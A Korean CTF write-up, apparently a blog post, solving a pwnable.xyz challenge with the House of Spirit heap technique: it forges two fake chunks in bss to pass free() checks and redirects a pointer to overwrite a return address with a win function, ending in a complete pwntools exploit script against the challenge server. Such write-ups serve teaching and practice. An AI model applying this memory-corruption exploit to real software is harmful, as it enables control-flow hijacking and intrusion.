The House of Spirit 기법 + stack 문제
free() 시 현재 chunk size와 next chunk size 체크를 우회하기 위해 fake chunk 2개만 생성하면 free(buf); 를 에러없이 우회할 수 있고 return 0; 시 win 함수로 리턴
메뉴 3 : buf에 적힌 값의 16바이트를 v7에 저장함.
v7은 buf-0x8에 위치해서 buf를 덮을 수 있음 -> buf가 저장하는 chunk 주소를 변조 가능
메뉴 1에서 값을 저장하고 메뉴 3에서 덮는 과정을 반복하면 됨.
1. return address 주소 구하기
buf에서부터 0x58 바이트 떨어져 있음
메뉴 2에서 buf 주소를 받아서 0x58을 더해서 구함
2. chunk 주소를 return address로 변조
메뉴 1 에서 0x8의 dummy와 return address를 주고
메뉴 3 을 하면 buf 변수가 가리키던 chunk 주소가 return address 주소로 변조된다.
3. return address에 win 주소 넣기
이제 메뉴 1에서 값을 입력받으면 return address 공간에 입력된다.
따라서 win 주소를 주면 return address에 win 주소가 적혀서 리턴 시 win 함수가 실행된다.
4. fake chunk 만들기
return 0; 전에 free(buf) 가 있으므로 free() 를 잘 넘기려면 fake chunk 2개가 필요하다.
하나는 현재 chunk size 체크 우회하기 위한 것, 다른 하나는 next chunk size 우회하기 위한 것
이때 현재 chunk size는 원래 chunk size와 동일해야 하지만 next chunk size는 검사만 하므로 아무 값이나 상관없다.
( topchunk 같아 보이게 커도 상관없음)
fake chunk는 bss 영역에 만들었다.
주의 ) chunk size는 8의 배수인 주소에 위치
bss = 0x601030으로 잡고 bss + 0x8 인 부분에 현재 chunk size를 적는다. (0x51)
그 다음 0x40 (헤더 0x10 제외한 나머지)은 data이므로 bss + 0x8 + 0x40 까지가 chunk 1이다.
그리고 0x601080 을 두 번째 chunk 헤더로 해서 0x601080 + 0x8에 next chunk size 넣는다. (bss + 0x58)
사이즈만 잘 넣고 bss + 0x10으로 이동 (win 함수 주소 적힌)
# exploit code
이 과정으로 하면 코드는 다음과 같다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30005)
#gdb.attach(p)
elf = ELF("./challenge")
win = elf.symbols['win']
bss = elf.bss()
p.sendafter("> ", '2')
buf = int(p.recvuntil("\n"), 16)
ret = buf + 0x58
p.sendafter("> ", '1')
p.sendline('A'*0x8 + p64(ret))
p.sendafter("> ", '3')
p.sendafter("> ", '1')
p.sendline(p64(win) + p64(bss+0x8))
p.sendafter("> ", '3')
p.sendafter("> ", '1')
p.sendline(p64(0x51) + p64(bss+0x58))
p.sendafter("> ", '3')
p.sendafter("> ", '1')
p.sendline(p64(0x21) + p64(bss+0x10))
p.sendafter("> ", '3')
p.sendafter("> ", 'a')
p.interactive()
# exploit
[pwnable.xyz] game (0) | 2020.01.22 |
---|---|
[pwnable.xyz] Jmp_table (0) | 2019.11.11 |
[pwnable.xyz] two targets - shell (pwnable) (0) | 2019.11.02 |
[pwnable.xyz] two targets (pwnable) (0) | 2019.11.02 |
[pwnable.xyz] xor (0) | 2019.09.28 |